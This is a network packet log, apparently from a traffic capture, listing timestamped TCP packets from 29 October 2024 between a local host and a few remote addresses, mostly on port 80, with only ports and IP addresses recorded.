Oct 29, 2024 02:46:42.120471001 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.120474100 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.120495081 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.120507956 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.120524883 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.120562077 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.120764017 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.120780945 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.120799065 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.120815992 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.120846987 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.120876074 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.120893002 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.120939016 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.121324062 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.121340036 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.121355057 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.121390104 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.121426105 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.121493101 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.121509075 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.121525049 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.121540070 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.121556044 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.121570110 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.121570110 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.121582031 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.121596098 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.121598959 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.121614933 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.121619940 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.121659994 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.121659994 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.121762037 CET	443	49904	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:42.121795893 CET	443	49904	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:42.121835947 CET	49904	443	192.168.2.5	23.47.194.99
Oct 29, 2024 02:46:42.121843100 CET	443	49904	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:42.121856928 CET	443	49904	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:42.121867895 CET	49904	443	192.168.2.5	23.47.194.99
Oct 29, 2024 02:46:42.121901035 CET	49904	443	192.168.2.5	23.47.194.99
Oct 29, 2024 02:46:42.122248888 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.122292995 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.122308969 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.122327089 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.122335911 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.122353077 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.122354031 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.122370958 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.122385979 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.122390985 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.122402906 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.122431993 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.122450113 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.122720957 CET	49900	443	192.168.2.5	23.47.194.99
Oct 29, 2024 02:46:42.122735023 CET	443	49900	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:42.122852087 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.122965097 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.122981071 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.122997046 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.123012066 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.123023987 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.123028994 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.123043060 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.123054028 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.123059988 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.123070955 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.123083115 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.123086929 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.123100042 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.123104095 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.123119116 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.123121977 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.123146057 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.123146057 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.123172045 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.123429060 CET	49903	443	192.168.2.5	23.47.194.99
Oct 29, 2024 02:46:42.123444080 CET	443	49903	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:42.123788118 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.123812914 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.123828888 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.123851061 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.123872995 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.123884916 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.123902082 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.123917103 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.123934031 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.123949051 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.123956919 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.123975039 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.123987913 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.123990059 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.124008894 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.124010086 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.124034882 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.124056101 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.124701023 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.124761105 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.124867916 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.124918938 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.124943972 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.124974012 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.124982119 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.124998093 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.125010967 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.125020027 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.125036001 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.125060081 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.125088930 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.125093937 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.125119925 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.125121117 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.125142097 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.125147104 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.125159025 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.125201941 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.125519037 CET	443	49904	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:42.125574112 CET	443	49904	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:42.125597954 CET	49904	443	192.168.2.5	23.47.194.99
Oct 29, 2024 02:46:42.125616074 CET	49904	443	192.168.2.5	23.47.194.99
Oct 29, 2024 02:46:42.125634909 CET	49904	443	192.168.2.5	23.47.194.99
Oct 29, 2024 02:46:42.125653028 CET	443	49904	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:42.125699997 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.125718117 CET	49904	443	192.168.2.5	23.47.194.99
Oct 29, 2024 02:46:42.125736952 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.125762939 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.125797033 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.125812054 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.125834942 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.125859022 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.125885963 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.125907898 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.125916004 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.125933886 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.125940084 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.125957966 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.125960112 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.125983000 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.125998020 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.126024961 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.126024961 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.126590014 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.126703978 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.126727104 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.126764059 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.126770973 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.126789093 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.126801014 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.126815081 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.126840115 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.126844883 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.126844883 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.126863956 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.126866102 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.126885891 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.126908064 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.127305984 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.127342939 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.127372980 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.127381086 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.127394915 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.127404928 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.127439976 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.127440929 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.127461910 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.127473116 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.127497911 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.127506018 CET	49892	443	192.168.2.5	40.126.32.74
Oct 29, 2024 02:46:42.127521038 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.127523899 CET	443	49892	40.126.32.74	192.168.2.5
Oct 29, 2024 02:46:42.127526045 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.127545118 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.127548933 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.127548933 CET	49892	443	192.168.2.5	40.126.32.74
Oct 29, 2024 02:46:42.127557039 CET	443	49892	40.126.32.74	192.168.2.5
Oct 29, 2024 02:46:42.127584934 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.127585888 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.127607107 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.127610922 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.127652884 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.127652884 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.128283978 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.128319025 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.128344059 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.128366947 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.128390074 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.128396988 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.128426075 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.128437042 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.128451109 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.128473997 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.128501892 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.128505945 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.128521919 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.128530025 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.128557920 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.128560066 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.128580093 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.128653049 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.129354000 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.129376888 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.129403114 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.129437923 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.129451036 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.129465103 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.129470110 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.129488945 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.129489899 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.129518986 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.129524946 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.129548073 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.129573107 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.129578114 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.129607916 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.129630089 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.129760981 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.129785061 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.129810095 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.129818916 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.129847050 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.129847050 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.129847050 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.129884005 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.129906893 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.129930019 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.129935026 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.129954100 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.129956961 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.129980087 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.129986048 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.130003929 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.130028963 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.130032063 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.130055904 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.130064011 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.130089045 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.130094051 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.130111933 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.130115032 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.130140066 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.130163908 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.130184889 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.130184889 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.130187035 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.130208969 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.130209923 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.130230904 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.130234957 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.130287886 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.130300045 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.130372047 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.130407095 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.130443096 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.130448103 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.130464077 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.130472898 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.130496979 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.130525112 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.130548000 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.130563974 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.130601883 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.130625010 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.130635977 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.130650043 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.130660057 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.130675077 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.130681038 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.130700111 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.130736113 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.130760908 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.130789042 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.130789042 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.130796909 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.130810976 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.130832911 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.130841017 CET	443	49904	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:42.130863905 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.130873919 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.130887032 CET	443	49904	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:42.130887985 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.130934000 CET	49904	443	192.168.2.5	23.47.194.99
Oct 29, 2024 02:46:42.130947113 CET	443	49904	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:42.130956888 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.130975962 CET	49904	443	192.168.2.5	23.47.194.99
Oct 29, 2024 02:46:42.130979061 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.130994081 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.131000042 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.131019115 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.131022930 CET	49904	443	192.168.2.5	23.47.194.99
Oct 29, 2024 02:46:42.131058931 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.131072044 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.131083012 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.131120920 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.131130934 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.131145000 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.131170034 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.131192923 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.131194115 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.131217003 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.131239891 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.131242037 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.131277084 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.131289005 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.131300926 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.131342888 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.131365061 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.131393909 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.131403923 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.131403923 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.131417990 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.131439924 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.131442070 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.131457090 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.131467104 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.131490946 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.131514072 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.131514072 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.131536961 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.131561041 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.131562948 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.131581068 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.131586075 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.131608009 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.131609917 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.131635904 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.131644964 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.131660938 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.131680965 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.131685019 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.131701946 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.131738901 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.131899118 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.131916046 CET	443	49904	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:42.131938934 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.131964922 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.131974936 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.131989956 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.132014036 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.132016897 CET	49904	443	192.168.2.5	23.47.194.99
Oct 29, 2024 02:46:42.132039070 CET	443	49904	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:42.132045031 CET	49838	80	192.168.2.5	185.215.113.206
